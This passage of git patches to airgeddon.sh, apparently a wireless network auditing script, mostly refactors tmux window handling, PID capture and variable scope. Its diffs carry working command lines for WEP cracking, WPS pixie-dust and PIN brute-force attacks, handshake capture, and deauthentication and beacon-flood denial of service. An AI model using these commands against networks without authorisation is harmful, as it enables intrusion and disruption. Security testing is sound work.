wep_script_processes+=("\${global_process_pid}") global_process_pid="" @@ -3344,7 +3344,7 @@ function set_wep_script() { fi manage_output "-hold -bg \"#000000\" -fg \"#D3D3D3\" -geometry ${g5_left5} -T \"Hirte Attack\"" "aireplay-ng -7 -F -D -b ${bssid} -h ${current_mac} ${interface}" "Hirte Attack" - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "aireplay-ng -7 -F -D -b ${bssid} -h ${current_mac} ${interface}" wep_script_processes+=("\${global_process_pid}") global_process_pid="" @@ -3380,7 +3380,7 @@ function set_wep_script() { cat >&6 <<-EOF manage_output "-bg \"#000000\" -fg \"#FFFF00\" -geometry ${g5_bottomright_window} -T \"Decrypting WEP Key\"" "aircrack-ng \"${tmpdir}${wep_data}\"*.cap -l \"${tmpdir}${wepdir}wepkey.txt\"" "Decrypting WEP Key" - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "aircrack-ng \"${tmpdir}${wep_data}\"*.cap -l \"${tmpdir}${wepdir}wepkey.txt\"" wep_aircrack_pid="\${global_process_pid}" global_process_pid="" From aca96e69676d2713a0c33a4105ba245e997b6fa6 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Thu, 4 Apr 2019 11:12:44 +0530 Subject: [PATCH 116/148] WEP Heredocs - Minor code fix for capturing WEP Key Decrypting window PID --- airgeddon.sh | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index 913e00ec2..68d52bdb7 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3071,6 +3071,11 @@ function set_wep_script() { done global_process_pid="\${process_pid}" } + function kill_tmux_window_by_name() { + if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + tmux kill-window -t "${session_name}:\${1}" 2> /dev/null + fi + } #shellcheck disable=SC1037 #shellcheck disable=SC2164 @@ -3120,6 +3125,7 @@ function set_wep_script() { EOF cat >&6 <<-EOF + kill_tmux_window_by_name "Chop-Chop Attack (1/3)" manage_output "-bg \"#000000\" -fg \"#8B4513\" -geometry ${g5_left7} -T \"Chop-Chop Attack (2/3)\"" "packetforge-ng -0 -a ${bssid} -h ${current_mac} -k 255.255.255.255 -l 255.255.255.255 -y \"${tmpdir}${wepdir}replay_dec-\"*.xor -w \"${tmpdir}${wepdir}chopchop.cap\"" "Chop-Chop Attack (2/3)" if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then wep_chopchop_phase2_pid=\$! @@ -3131,6 +3137,7 @@ function set_wep_script() { wep_chopchop_phase=3 ;; 3) + kill_tmux_window_by_name "Chop-Chop Attack (2/3)" wep_chopchop_phase2_pid_alive=$(ps uax | awk '{print $2}' | grep -E "^${wep_chopchop_phase2_pid}$" 2> /dev/null) if [ -z "${wep_chopchop_phase2_pid_alive}" ]; then EOF @@ -3197,6 +3204,7 @@ function set_wep_script() { EOF cat >&6 <<-EOF + kill_tmux_window_by_name "Fragmentation Attack (1/3)" manage_output "-bg \"#000000\" -fg \"#0000FF\" -geometry ${g5_left6} -T \"Fragmentation Attack (2/3)\"" "packetforge-ng -0 -a ${bssid} -h ${current_mac} -k 255.255.255.255 -l 255.255.255.255 -y \"${tmpdir}${wepdir}fragment-\"*.xor -w \"${tmpdir}${wepdir}fragmentation.cap\"" "Fragmentation Attack (2/3)" if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then wep_fragmentation_phase2_pid=\$! @@ -3208,6 +3216,7 @@ function set_wep_script() { wep_script_processes+=(${wep_fragmentation_phase2_pid}) ;; 3) + kill_tmux_window_by_name "Fragmentation Attack (2/3)" wep_fragmentation_phase2_pid_alive=$(ps uax | awk '{print $2}' | grep -E "^${wep_fragmentation_phase2_pid}$" 2> /dev/null) if [ -z "${wep_fragmentation_phase2_pid_alive}" ]; then EOF @@ -3381,7 +3390,7 @@ function set_wep_script() { cat >&6 <<-EOF manage_output "-bg \"#000000\" -fg \"#FFFF00\" -geometry ${g5_bottomright_window} -T \"Decrypting WEP Key\"" "aircrack-ng \"${tmpdir}${wep_data}\"*.cap -l \"${tmpdir}${wepdir}wepkey.txt\"" "Decrypting WEP Key" if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - get_tmux_process_id "aircrack-ng \"${tmpdir}${wep_data}\"*.cap -l \"${tmpdir}${wepdir}wepkey.txt\"" + get_tmux_process_id "aircrack-ng \"${tmpdir}${wep_data}\".*cap -l \"${tmpdir}${wepdir}wepkey.txt\"" wep_aircrack_pid="\${global_process_pid}" global_process_pid="" else From 4e513a7a1cdff8add1d4fe709e6acceb7781bc4a Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sat, 6 Apr 2019 08:03:14 +0530 Subject: [PATCH 117/148] WEP Heredocs - Code fix to wait for Phase 2 of Chop-Chop and Fragmentation attack to finish before proceeding to Phase 3 --- airgeddon.sh | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 68d52bdb7..450b7cc39 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,7 +2,7 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20190404 +#Date.........: 20190406 #Version......: 9.20 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -3137,12 +3137,12 @@ function set_wep_script() { wep_chopchop_phase=3 ;; 3) - kill_tmux_window_by_name "Chop-Chop Attack (2/3)" wep_chopchop_phase2_pid_alive=$(ps uax | awk '{print $2}' | grep -E "^${wep_chopchop_phase2_pid}$" 2> /dev/null) - if [ -z "${wep_chopchop_phase2_pid_alive}" ]; then EOF cat >&6 <<-EOF + if [[ -z "\${wep_chopchop_phase2_pid_alive}" ]] && [[ -f "${tmpdir}${wepdir}chopchop.cap" ]]; then + kill_tmux_window_by_name "Chop-Chop Attack (2/3)" manage_output "-hold -bg \"#000000\" -fg \"#8B4513\" -geometry ${g5_left7} -T \"Chop-Chop Attack (3/3)\"" "yes | aireplay-ng -2 -F -r \"${tmpdir}${wepdir}chopchop.cap\" ${interface}" "Chop-Chop Attack (3/3)" if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "aireplay-ng -2 -F -r \"${tmpdir}${wepdir}chopchop.cap\" ${interface}" @@ -3216,12 +3216,12 @@ function set_wep_script() { wep_script_processes+=(${wep_fragmentation_phase2_pid}) ;; 3) - kill_tmux_window_by_name "Fragmentation Attack (2/3)" wep_fragmentation_phase2_pid_alive=$(ps uax | awk '{print $2}' | grep -E "^${wep_fragmentation_phase2_pid}$" 2> /dev/null) - if [ -z "${wep_fragmentation_phase2_pid_alive}" ]; then EOF cat >&6 <<-EOF + if [[ -z "\${wep_fragmentation_phase2_pid_alive}" ]] && [[ -f "${tmpdir}${wepdir}fragmentation.cap" ]]; then + kill_tmux_window_by_name "Fragmentation Attack (2/3)" manage_output "-hold -bg \"#000000\" -fg \"#0000FF\" -geometry ${g5_left6} -T \"Fragmentation Attack (3/3)\"" "yes | aireplay-ng -2 -F -r \"${tmpdir}${wepdir}fragmentation.cap\" ${interface}" "Fragmentation Attack (3/3)" if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "aireplay-ng -2 -F -r \"${tmpdir}${wepdir}fragmentation.cap\" ${interface}" From cb485693ecec93adb356385a135d9c08282be08f Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sat, 6 Apr 2019 21:55:36 +0530 Subject: [PATCH 118/148] Modify some functions to allow desired active window to be set while running attacks launched inside tmux --- airgeddon.sh | 54 ++++++++++++++++++++++++++++++++++++++++++++++------ 1 file changed, 48 insertions(+), 6 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 450b7cc39..fc17082f0 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2804,7 +2804,14 @@ function set_wep_key_script() { local tmux_color tmux_color="" [[ "\${1}" =~ -fg[[:blank:]](\")?(#[0-9a-fA-F]+) ]] && tmux_color="\${BASH_REMATCH[2]}" - start_tmux_processes "\${window_name}" "clear;\${tmux_command_line}" "\${tmux_color}" + case "\${4}" in + "active") + start_tmux_processes "\${window_name}" "clear;\${tmux_command_line}" "\${tmux_color}" "active" + ;; + *) + start_tmux_processes "\${window_name}" "clear;\${tmux_command_line}" "\${tmux_color}" + ;; + esac ;; "xterm") eval "xterm \${xterm_parameters} -e \${xterm_command_line}\${command_tail}" @@ -2816,7 +2823,14 @@ function set_wep_key_script() { window_name="\${1}" command_line="\${2}" tmux kill-window -t "${session_name}:\${window_name}" 2> /dev/null - tmux new-window -t "${session_name}:" -n "\${window_name}" + case "\${4}" in + "active") + tmux new-window -t "${session_name}:" -n "\${window_name}" + ;; + *) + tmux new-window -d -t "${session_name}:" -n "\${window_name}" + ;; + esac local tmux_color_cmd if [ -n "\${3}" ]; then tmux_color_cmd="bg=#000000 fg=\${3}" @@ -3039,7 +3053,14 @@ function set_wep_script() { local tmux_color tmux_color="" [[ "\${1}" =~ -fg[[:blank:]](\")?(#[0-9a-fA-F]+) ]] && tmux_color="\${BASH_REMATCH[2]}" - start_tmux_processes "\${window_name}" "clear;\${tmux_command_line}" "\${tmux_color}" + case "\${4}" in + "active") + start_tmux_processes "\${window_name}" "clear;\${tmux_command_line}" "\${tmux_color}" "active" + ;; + *) + start_tmux_processes "\${window_name}" "clear;\${tmux_command_line}" "\${tmux_color}" + ;; + esac ;; "xterm") eval "xterm \${xterm_parameters} -e \${xterm_command_line}\${command_tail}" @@ -3051,7 +3072,14 @@ function set_wep_script() { window_name="\${1}" command_line="\${2}" tmux kill-window -t "${session_name}:\${window_name}" 2> /dev/null - tmux new-window -t "${session_name}:" -n "\${window_name}" + case "\${4}" in + "active") + tmux new-window -t "${session_name}:" -n "\${window_name}" + ;; + *) + tmux new-window -d -t "${session_name}:" -n "\${window_name}" + ;; + esac local tmux_color_cmd if [ -n "\${3}" ]; then tmux_color_cmd="bg=#000000 fg=\${3}" @@ -13676,7 +13704,14 @@ function start_tmux_processes() { command_line="${2}" tmux kill-window -t "${session_name}:${window_name}" 2> /dev/null - tmux new-window -t "${session_name}:" -n "${window_name}" + case "${4}" in + "active") + tmux new-window -t "${session_name}:" -n "${window_name}" + ;; + *) + tmux new-window -d -t "${session_name}:" -n "${window_name}" + ;; + esac local tmux_color_cmd if [ -n "${3}" ]; then tmux_color_cmd="bg=#000000 fg=${3}" @@ -13811,7 +13846,14 @@ function manage_output() { local tmux_color tmux_color="" [[ "${1}" =~ -fg[[:blank:]](\")?(#[0-9a-fA-F]+) ]] && tmux_color="${BASH_REMATCH[2]}" - start_tmux_processes "${window_name}" "clear;${tmux_command_line}" "${tmux_color}" + case "${4}" in + "active") + start_tmux_processes "${window_name}" "clear;${tmux_command_line}" "${tmux_color}" "active" + ;; + *) + start_tmux_processes "${window_name}" "clear;${tmux_command_line}" "${tmux_color}" + ;; + esac ;; "xterm") eval "xterm ${xterm_parameters} -e ${xterm_command_line}${command_tail}" From 88a2b066f60581003b2833a15690b38a9e6ed70a Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sat, 6 Apr 2019 23:18:28 +0530 Subject: [PATCH 119/148] Set desired active tmux window based on attacks being executed --- airgeddon.sh | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index fc17082f0..6085c20f7 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3008,7 +3008,7 @@ function set_wep_key_script() { window_position="${g5_topright_window}" sleep 0.5 - manage_output "-hold -bg \"#000000\" -fg \"#FFFFFF\" -geometry \${window_position} -T \"WEP Key Decrypted\"" "clear;\${wep_key_cmd}" "WEP Key Decrypted" + manage_output "-hold -bg \"#000000\" -fg \"#FFFFFF\" -geometry \${window_position} -T \"WEP Key Decrypted\"" "clear;\${wep_key_cmd}" "WEP Key Decrypted" "active" #xterm -hold -bg "#000000" -fg "#FFFFFF" -geometry "\${window_position}" -T "WEP Key Decrypted" -e "eval \"\${wep_key_cmd}\"" > /dev/null 2>&1 & EOF @@ -3297,7 +3297,7 @@ function set_wep_script() { wep_script_processes=() - manage_output "-bg \"#000000\" -fg \"#FFFFFF\" -geometry ${g5_topright_window} -T \"Capturing WEP Data\"" "airodump-ng -d ${bssid} -c ${channel} --encrypt WEP -w \"${tmpdir}${wep_data}\" ${interface}" "Capturing WEP Data" + manage_output "-bg \"#000000\" -fg \"#FFFFFF\" -geometry ${g5_topright_window} -T \"Capturing WEP Data\"" "airodump-ng -d ${bssid} -c ${channel} --encrypt WEP -w \"${tmpdir}${wep_data}\" ${interface}" "Capturing WEP Data" "active" if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "airodump-ng -d ${bssid} -c ${channel} --encrypt WEP -w \"${tmpdir}${wep_data}\" ${interface}" wep_script_capture_pid="\${global_process_pid}" @@ -3416,7 +3416,7 @@ function set_wep_script() { EOF cat >&6 <<-EOF - manage_output "-bg \"#000000\" -fg \"#FFFF00\" -geometry ${g5_bottomright_window} -T \"Decrypting WEP Key\"" "aircrack-ng \"${tmpdir}${wep_data}\"*.cap -l \"${tmpdir}${wepdir}wepkey.txt\"" "Decrypting WEP Key" + manage_output "-bg \"#000000\" -fg \"#FFFF00\" -geometry ${g5_bottomright_window} -T \"Decrypting WEP Key\"" "aircrack-ng \"${tmpdir}${wep_data}\"*.cap -l \"${tmpdir}${wepdir}wepkey.txt\"" "Decrypting WEP Key" "active" if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "aircrack-ng \"${tmpdir}${wep_data}\".*cap -l \"${tmpdir}${wepdir}wepkey.txt\"" wep_aircrack_pid="\${global_process_pid}" @@ -9312,7 +9312,7 @@ function launch_enterprise_control_window() { debug_print recalculate_windows_sizes - manage_output "-hold -bg \"#000000\" -fg \"#FFFFFF\" -geometry ${g1_topright_window} -T \"Control\"" "bash \"${tmpdir}${control_enterprise_file}\"" "Control" + manage_output "-hold -bg \"#000000\" -fg \"#FFFFFF\" -geometry ${g1_topright_window} -T \"Control\"" "bash \"${tmpdir}${control_enterprise_file}\"" "Control" "active" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then enterprise_process_control_window=$! else @@ -9350,7 +9350,7 @@ function launch_et_control_window() { control_scr_window_position=${g4_topright_window} ;; esac - manage_output "-hold -bg \"#000000\" -fg \"#FFFFFF\" -geometry ${control_scr_window_position} -T \"Control\"" "bash \"${tmpdir}${control_et_file}\"" "Control" + manage_output "-hold -bg \"#000000\" -fg \"#FFFFFF\" -geometry ${control_scr_window_position} -T \"Control\"" "bash \"${tmpdir}${control_et_file}\"" "Control" "active" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then et_process_control_window=$! else @@ -10988,7 +10988,7 @@ function capture_handshake_window() { rm -rf "${tmpdir}handshake"* > /dev/null 2>&1 recalculate_windows_sizes - manage_output "+j -sb -rightbar -geometry ${g1_topright_window} -T \"Capturing Handshake\"" "airodump-ng -c ${channel} -d ${bssid} -w ${tmpdir}handshake ${interface}" "Capturing Handshake" + manage_output "+j -sb -rightbar -geometry ${g1_topright_window} -T \"Capturing Handshake\"" "airodump-ng -c ${channel} -d ${bssid} -w ${tmpdir}handshake ${interface}" "Capturing Handshake" "active" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "airodump-ng -c ${channel} -d ${bssid} -w ${tmpdir}handshake ${interface}" processidcapture="${global_process_pid}" @@ -11053,7 +11053,7 @@ function explore_for_targets_option() { fi recalculate_windows_sizes - manage_output "+j -bg \"#000000\" -fg \"#FFFFFF\" -geometry ${g1_topright_window} -T \"Exploring for targets\"" "airodump-ng -w ${tmpdir}nws${cypher_cmd}${interface} --band ${airodump_band_modifier}" "Exploring for targets" + manage_output "+j -bg \"#000000\" -fg \"#FFFFFF\" -geometry ${g1_topright_window} -T \"Exploring for targets\"" "airodump-ng -w ${tmpdir}nws${cypher_cmd}${interface} --band ${airodump_band_modifier}" "Exploring for targets" "active" wait_for_process "airodump-ng -w ${tmpdir}nws${cypher_cmd}${interface} --band ${airodump_band_modifier}" "Exploring for targets" #xterm +j -bg "#000000" -fg "#FFFFFF" -geometry "${g1_topright_window}" -T "Exploring for targets" -e airodump-ng -w "${tmpdir}nws" --encrypt "${cypher_filter}" "${interface}" --band "${airodump_band_modifier}" > /dev/null 2>&1 targetline=$(awk '/(^Station[s]?|^Client[es]?)/{print NR}' < "${tmpdir}nws-01.csv") @@ -11171,7 +11171,7 @@ function explore_for_wps_targets_option() { rm -rf "${tmpdir}wps"* > /dev/null 2>&1 recalculate_windows_sizes - manage_output "+j -bg \"#000000\" -fg \"#FFFFFF\" -geometry ${g1_topright_window} -T \"Exploring for WPS targets\"" "wash -i \"${interface}\"${wash_ifaces_already_set[${interface}]}${wash_band_modifier} | tee \"${tmpdir}wps.txt\"" "Exploring for WPS targets" + manage_output "+j -bg \"#000000\" -fg \"#FFFFFF\" -geometry ${g1_topright_window} -T \"Exploring for WPS targets\"" "wash -i \"${interface}\"${wash_ifaces_already_set[${interface}]}${wash_band_modifier} | tee \"${tmpdir}wps.txt\"" "Exploring for WPS targets" "active" wait_for_process "wash -i \"${interface}\"${wash_ifaces_already_set[${interface}]}${wash_band_modifier}" "Exploring for WPS targets" #xterm +j -bg "#000000" -fg "#FFFFFF" -geometry "${g1_topright_window}" -T "Exploring for WPS targets" -e "wash -i \"${interface}\" ${wash_ifaces_already_set[${interface}]} ${wash_band_modifier} | tee \"${tmpdir}wps.txt\"" > /dev/null 2>&1 From d85965921defd5962d4ec96b561909f17d868a76 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sat, 6 Apr 2019 23:37:38 +0530 Subject: [PATCH 120/148] Changed unneeded global variable scope to local --- airgeddon.sh | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/airgeddon.sh b/airgeddon.sh index 6085c20f7..366932557 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -13700,6 +13700,9 @@ function start_tmux_processes() { debug_print + local window_name + local command_line + window_name="${1}" command_line="${2}" @@ -13728,6 +13731,7 @@ function check_inside_tmux() { debug_print local parent_pid + local parent_window parent_pid=$(ps -o ppid= ${PPID} | tr -d ' ') parent_window="$(ps --no-headers -p "${parent_pid}" -o comm=)" if [[ "${parent_window}" =~ tmux ]]; then @@ -13835,6 +13839,12 @@ function manage_output() { debug_print + local xterm_parameters + local tmux_command_line + local xterm_command_line + local window_name + local command_tail + xterm_parameters="${1}" tmux_command_line="${2}" xterm_command_line="\"${2}\"" From 974331b4d0e1811dcc9730a88cf01a1b1c63e031 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Tue, 9 Apr 2019 18:32:17 +0200 Subject: [PATCH 121/148] Updated Readme to v9.20 --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 34a9e57cf..8b52bf9d3 100644 --- a/README.md +++ b/README.md @@ -80,7 +80,7 @@ All the needed info about how to "install | use | enjoy" `airgeddon` is present [Hat Tip To]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Hat%20Tip%20To [Inspiration]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Inspiration -[Version-shield]: https://img.shields.io/badge/version-9.11-blue.svg?style=flat-square&colorA=273133&colorB=0093ee "Latest version" +[Version-shield]: https://img.shields.io/badge/version-9.20-blue.svg?style=flat-square&colorA=273133&colorB=0093ee "Latest version" [Bash4.2-shield]: https://img.shields.io/badge/bash-4.2%2B-blue.svg?style=flat-square&colorA=273133&colorB=00db00 "Bash 4.2 or later" [License-shield]: https://img.shields.io/badge/license-GPL%20v3%2B-blue.svg?style=flat-square&colorA=273133&colorB=bd0000 "GPL v3+" [Docker-shield]: https://img.shields.io/docker/automated/v1s1t0r1sh3r3/airgeddon.svg?style=flat-square&colorA=273133&colorB=f9ff5a "Docker rules!" From 1cca70b5a7cc3018e48083566065f078128b4a28 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Tue, 9 Apr 2019 18:44:47 +0200 Subject: [PATCH 122/148] Shellcheck warnings disabled for SC2009 --- airgeddon.sh | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/airgeddon.sh b/airgeddon.sh index f2de4aab0..c94a05b87 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -9775,6 +9775,7 @@ function set_beef_config() { } #Kill beef process +#shellcheck disable=SC2009 function kill_beef() { debug_print @@ -13830,6 +13831,7 @@ function check_inside_tmux() { } #Close any existing tmux session before opening, to avoid conflicts +#shellcheck disable=SC2009 function close_existing_airgeddon_tmux_session() { debug_print @@ -13880,6 +13882,7 @@ function kill_tmux_windows() { } #Function to pause script execution on the main window until a process has finished executing or the user terminates it +#shellcheck disable=SC2009 function wait_for_process() { debug_print @@ -13908,6 +13911,7 @@ function wait_for_process() { } #Function to capture PID of a process started inside tmux and setting it to a global variable +#shellcheck disable=SC2009 function get_tmux_process_id() { debug_print From 543a2c629f9084a0da47cbe9c5ce2db627e2a2a5 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Wed, 10 Apr 2019 07:23:05 +0200 Subject: [PATCH 123/148] Removed old xterm commented statements --- airgeddon.sh | 55 ++++++++-------------------------------------------- 1 file changed, 8 insertions(+), 47 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index c94a05b87..82531fdd4 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,7 +2,7 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20190408 +#Date.........: 20190410 #Version......: 9.20 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -3017,7 +3017,6 @@ function set_wep_key_script() { window_position="${g5_topright_window}" sleep 0.5 manage_output "-hold -bg \"#000000\" -fg \"#FFFFFF\" -geometry \${window_position} -T \"WEP Key Decrypted\"" "clear;\${wep_key_cmd}" "WEP Key Decrypted" "active" - #xterm -hold -bg "#000000" -fg "#FFFFFF" -geometry "\${window_position}" -T "WEP Key Decrypted" -e "eval \"\${wep_key_cmd}\"" > /dev/null 2>&1 & EOF if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then @@ -3465,7 +3464,6 @@ function exec_wps_custom_pin_bully_attack() { recalculate_windows_sizes manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdleft_window} -T \"WPS custom pin bully attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS custom pin bully attack" wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS custom pin bully attack" - #xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g2_stdleft_window}" -T "WPS custom pin bully attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 } #Execute wps custom pin reaver attack @@ -3484,7 +3482,6 @@ function exec_wps_custom_pin_reaver_attack() { recalculate_windows_sizes manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdleft_window} -T \"WPS custom pin reaver attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS custom pin reaver attack" wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS custom pin reaver attack" - #xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g2_stdleft_window}" -T "WPS custom pin reaver attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 } #Execute bully pixie dust attack @@ -3503,7 +3500,6 @@ function exec_bully_pixiewps_attack() { recalculate_windows_sizes manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdright_window} -T \"WPS bully pixie dust attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bully pixie dust attack" wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bully pixie dust attack" - #xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g2_stdright_window}" -T "WPS bully pixie dust attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 } #Execute reaver pixie dust attack @@ -3522,7 +3518,6 @@ function exec_reaver_pixiewps_attack() { recalculate_windows_sizes manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdright_window} -T \"WPS reaver pixie dust attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS reaver pixie dust attack" wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS reaver pixie dust attack" - #xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g2_stdright_window}" -T "WPS reaver pixie dust attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 } #Execute wps bruteforce pin bully attack @@ -3541,7 +3536,6 @@ function exec_wps_bruteforce_pin_bully_attack() { recalculate_windows_sizes manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdleft_window} -T \"WPS bruteforce pin bully attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bruteforce pin bully attack" wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bruteforce pin bully attack" - #xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g2_stdleft_window}" -T "WPS bruteforce pin bully attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 } #Execute wps bruteforce pin reaver attack @@ -3560,7 +3554,6 @@ function exec_wps_bruteforce_pin_reaver_attack() { recalculate_windows_sizes manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdleft_window} -T \"WPS bruteforce pin reaver attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bruteforce pin reaver attack" wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bruteforce pin reaver attack" - #xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g2_stdleft_window}" -T "WPS bruteforce pin reaver attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 } #Execute wps pin database bully attack @@ -3575,7 +3568,6 @@ function exec_wps_pin_database_bully_attack() { recalculate_windows_sizes manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdright_window} -T \"WPS bully known pins database based attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bully known pins database based attack" wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bully known pins database based attack" - #xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g2_stdright_window}" -T "WPS bully known pins database based attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 } #Execute wps pin database reaver attack @@ -3590,7 +3582,6 @@ function exec_wps_pin_database_reaver_attack() { recalculate_windows_sizes manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdright_window} -T \"WPS reaver known pins database based attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS reaver known pins database based attack" wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS reaver known pins database based attack" - #xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g2_stdright_window}" -T "WPS reaver known pins database based attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 } #Execute DoS pursuit mode attack @@ -3620,7 +3611,6 @@ function launch_dos_pursuit_mode_attack() { dos_pursuit_mode_attack_pid="${global_process_pid}" global_process_pid="" fi - #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk4 "${interface_pursuit_mode_deauth}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & ;; "aireplay deauth attack") ${airmon} start "${interface}" "${channel}" > /dev/null 2>&1 @@ -3633,7 +3623,6 @@ function launch_dos_pursuit_mode_attack() { dos_pursuit_mode_attack_pid="${global_process_pid}" global_process_pid="" fi - #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface_pursuit_mode_deauth}" > /dev/null 2>&1 & ;; "wids / wips / wds confusion attack") dos_delay=10 @@ -3645,7 +3634,6 @@ function launch_dos_pursuit_mode_attack() { dos_pursuit_mode_attack_pid="${global_process_pid}" global_process_pid="" fi - #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk4 "${interface_pursuit_mode_deauth}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 & ;; "beacon flood attack") dos_delay=1 @@ -3657,7 +3645,6 @@ function launch_dos_pursuit_mode_attack() { dos_pursuit_mode_attack_pid="${global_process_pid}" global_process_pid="" fi - #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk4 "${interface_pursuit_mode_deauth}" b -n "${essid}" -c "${channel}" -s 1000 -h > /dev/null 2>&1 & ;; "auth dos attack") dos_delay=1 @@ -3669,7 +3656,6 @@ function launch_dos_pursuit_mode_attack() { dos_pursuit_mode_attack_pid="${global_process_pid}" global_process_pid="" fi - #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit 